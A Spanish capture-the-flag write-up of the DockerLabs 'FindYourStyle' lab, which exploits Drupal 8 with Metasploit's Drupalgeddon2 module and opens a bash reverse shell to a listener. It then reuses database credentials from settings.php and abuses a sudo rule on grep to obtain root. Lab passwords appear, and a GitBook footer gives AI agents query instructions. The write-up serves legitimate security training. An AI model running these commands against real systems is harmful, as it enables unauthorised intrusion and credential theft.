> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/findyourstyle.md).

# FindYourStyle

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone un unico servicio web sobre Apache. La aplicacion corresponde a una instalacion de **Drupal 8**, por lo que la enumeracion se centra en identificar version, rutas interesantes y posibles vulnerabilidades conocidas.

La cadena de explotacion pasa por abusar de **Drupalgeddon2** para conseguir ejecucion remota de comandos como `www-data`, leer credenciales en el archivo `settings.php`, reutilizarlas para saltar al usuario `ballenita` y terminar escalando privilegios gracias a una regla `sudo` peligrosa sobre `grep`.

***

## Reconocimiento

Se comienza con un escaneo completo de puertos y versiones contra la maquina objetivo:

```bash
nmap -sV -T4 -p- 172.17.0.2
```

![Nmap](/files/KbIWzQMEhO1SDLASNpa6)

El resultado muestra un unico puerto abierto:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 80/tcp | HTTP     | Apache httpd 2.4.25 Debian |

Al no haber mas servicios expuestos, el analisis se centra en la aplicacion web.

***

## Enumeracion web

Al acceder al puerto `80` aparece una instalacion de Drupal con el nombre **Find your own Style**:

```
http://172.17.0.2/
```

![Drupal home](/files/WkogQfKSYmGVdwJx8tmT)

La pagina principal no contiene demasiado contenido, pero se observa el enlace de login y, desde la ruta de usuario, tambien es posible acceder al formulario de registro:

```
http://172.17.0.2/user/register
```

![Registro Drupal](/files/1fZuXrFEHMWvWH35D3Qy)

Durante las pruebas se intenta subir un archivo PHP camuflado como imagen, pero Drupal renombra el archivo y bloquea la subida al detectar un tipo no permitido:

![Upload bloqueado](/files/amdxR9jJJ0sR13DlTwWB)

Tambien se revisa `robots.txt`, que confirma rutas tipicas de Drupal:

```
http://172.17.0.2/robots.txt
```

![robots.txt](/files/ElxtTRaCd93JwWN9xb8t)

***

## Fuzzing de rutas

Para ampliar la superficie de ataque se realiza fuerza bruta de directorios con Gobuster:

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh \
  -b 404,403 -t 60
```

![Gobuster](/files/HQbifbkAkYkmp3HkTirG)

Entre los resultados aparecen rutas comunes de Drupal:

| Recurso      | Codigo | Comentario                   |
| ------------ | ------ | ---------------------------- |
| `/index.php` | 200    | Entrada principal de Drupal  |
| `/search`    | 302    | Redireccion a `/search/node` |
| `/contact`   | 200    | Formulario de contacto       |

***

## Identificacion del CMS

Con `whatweb` se confirma que el sitio esta construido con Drupal y que el servidor utiliza Apache sobre Debian:

```bash
whatweb 172.17.0.2:80
```

![WhatWeb](/files/qPx6LpVSiFsgeQzHPdSO)

Resultado relevante:

```
Drupal
Apache 2.4.25
PHP 7.2.3
MetaGenerator: Drupal 8
```

Al tratarse de Drupal 8, se buscan exploits disponibles:

```bash
searchsploit drupal 8
```

![Searchsploit Drupal 8](/files/WNKhtUjY0vNNOX5LyR0g)

Entre los resultados destaca **Drupalgeddon2**, una vulnerabilidad critica que puede permitir ejecucion remota de codigo en versiones vulnerables de Drupal.

***

## Explotacion con Drupalgeddon2

Se abre Metasploit y se selecciona el modulo de Drupalgeddon2:

```bash
msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
show options
```

Se configuran los parametros principales:

```bash
set RHOSTS 172.17.0.2
set LHOST 172.17.0.1
run
```

![Drupalgeddon2](/files/vF4sTeL5KharoghmGNTE)

El objetivo resulta vulnerable y se obtiene una sesion Meterpreter:

```
Meterpreter session 1 opened
```

Desde Meterpreter se lanza una shell del sistema y se confirma el usuario actual:

```bash
shell
whoami
```

![Shell www-data](/files/YANqjBETfz8E1vSlgTKn)

El acceso inicial se consigue como `www-data`.

Para trabajar con mas comodidad, se envia una reverse shell Bash a un listener local:

```bash
bash -c 'bash -i >& /dev/tcp/172.17.0.1/5555 0>&1'
```

Despues se estabiliza la terminal:

```bash
export TERM=xterm
export SHELL=bash
whoami
```

![TTY www-data](/files/YCVQ3Lcw2oyWmUmGeqnz)

***

## Enumeracion local

Primero se revisan posibles binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

![SUID](/files/r5m7dIaW57RQf64BSYNf)

No aparece una via directa clara por SUID, asi que el siguiente paso es revisar la configuracion de Drupal. En el archivo `settings.php` suelen encontrarse las credenciales de base de datos.

La ruta habitual es:

```bash
cd /var/www/html/sites/default
cat settings.php
```

![settings.php](/files/SK94LDH1f3Ditx00HCKg)

Dentro del archivo aparecen credenciales configuradas para MySQL:

![Credenciales Drupal](/files/jxufbcfAoiK9lRICWoEn)

Credenciales encontradas:

| Campo    | Valor                         |
| -------- | ----------------------------- |
| database | `database_under_beta_testing` |
| username | `ballenita`                   |
| password | `ballenitafeliz`              |
| host     | `localhost`                   |
| port     | `3306`                        |
| driver   | `mysql`                       |

***

## Movimiento lateral

Como el usuario de la base de datos se llama `ballenita`, se prueba si tambien existe como usuario del sistema y si reutiliza la misma password:

```bash
su ballenita
```

Password:

```
ballenitafeliz
```

![su ballenita](/files/wH1K3GeSJ3GyYh34xnR5)

La reutilizacion de credenciales funciona y se obtiene una shell como `ballenita`.

***

## Escalada de privilegios

Con el nuevo usuario se revisan los permisos `sudo`:

```bash
sudo -l
```

![sudo -l](/files/WBBzFKgS2yAxtLCSWiKn)

El usuario `ballenita` puede ejecutar `ls` y `grep` como `root` sin password:

```
(root) NOPASSWD: /bin/ls, /bin/grep
```

Primero se lista el directorio `/root`:

```bash
sudo ls /root
```

Se encuentra el archivo:

```
secretitomaximo.txt
```

Como se puede ejecutar `grep` como `root`, se lee el contenido del archivo buscando cualquier caracter:

```bash
sudo grep ' ' /root/secretitomaximo.txt
```

![Lectura de secreto](/files/6zJdQzYfCOixlBG3pBE3)

El contenido revela la password de `root`:

```
nobodycanfindthispasswordrootrocks
```

Con esa password se cambia al usuario `root`:

```bash
su root
whoami
```

![Root](/files/lsTNXAWOSKZc9Ju86C1e)

La maquina queda comprometida como `root`.

***

## Resumen

| Paso | Tecnica                   | Resultado                                  |
| ---- | ------------------------- | ------------------------------------------ |
| 1    | Nmap                      | Solo HTTP expuesto en el puerto 80         |
| 2    | Enumeracion web           | Drupal identificado                        |
| 3    | Gobuster                  | Rutas `/index.php`, `/search` y `/contact` |
| 4    | WhatWeb                   | Drupal 8, Apache 2.4.25 y PHP 7.2.3        |
| 5    | Drupalgeddon2             | Shell como `www-data`                      |
| 6    | Lectura de `settings.php` | Credenciales de `ballenita`                |
| 7    | Reutilizacion de password | Movimiento lateral a `ballenita`           |
| 8    | Abuso de `sudo grep`      | Lectura de secreto en `/root`              |
| 9    | `su root`                 | Acceso final como `root`                   |

***

## Conclusion

FindYourStyle es una maquina directa pero muy util para practicar una cadena habitual en entornos web: identificar un CMS vulnerable, explotarlo para conseguir una shell inicial y revisar configuraciones locales en busca de credenciales.

La parte mas importante esta despues del acceso inicial. El archivo `settings.php` permite saltar de `www-data` a `ballenita`, y una regla `sudo` demasiado permisiva sobre `grep` permite leer informacion sensible dentro de `/root`, obteniendo la password final.

### Puntos clave

* La maquina solo expone HTTP.
* La aplicacion es Drupal 8.
* Drupalgeddon2 permite obtener ejecucion remota como `www-data`.
* `settings.php` contiene credenciales reutilizables.
* La password `ballenitafeliz` permite acceder como `ballenita`.
* `ballenita` puede ejecutar `/bin/ls` y `/bin/grep` como `root` sin password.
* `sudo grep '.' /root/secretitomaximo.txt` revela la password de `root`.

### Recomendaciones

* Mantener Drupal y sus modulos actualizados.
* Restringir o eliminar formularios de registro si no son necesarios.
* No reutilizar credenciales de base de datos como passwords de usuarios del sistema.
* Proteger archivos de configuracion con permisos estrictos.
* Evitar reglas `sudo` que permitan leer archivos arbitrarios como `root`.
* Auditar periodicamente permisos `sudo` y binarios permitidos con `NOPASSWD`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/findyourstyle.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
